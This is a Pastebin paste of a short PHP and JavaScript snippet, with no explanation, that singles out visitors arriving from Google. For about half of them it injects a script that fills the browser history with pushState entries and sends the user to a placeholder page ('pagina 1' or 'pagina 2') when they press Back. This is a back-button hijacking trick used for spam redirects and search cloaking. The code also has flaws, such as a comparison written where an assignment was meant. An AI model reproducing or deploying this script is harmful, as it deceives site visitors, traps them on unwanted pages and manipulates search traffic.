Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if(strpos($_SERVER['HTTP_REFERER'],"google") != false) {
- $_SESSION['google'] = "si";
- }
- $redirect1 = 'pagina 1';
- $redirect2 = 'pagina 2';
- if($_SESSION['google'] == "si"){
- $nro = mt_rand(0,3);
- if($nro == 0){
- $redirect = $redirect1;
- $_SESSION['google'] == "no";
- }
- if($nro == 1){
- $redirect = $redirect2;
- $_SESSION['google'] == "no";
- }
- if($nro < 2){
- ?>
- <script type="text/javascript">
- ! function () {
- var t;
- try {
- for (t = 0; 10 > t; ++t) history.pushState({}, "", "<? echo $_SERVER["REQUEST_URI"]; ?>");
- onpopstate = function (t) {
- t.state && location.replace("<? echo $redirect; ?>")
- }
- } catch (o) {}
- }();
- </script>
- <? } } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement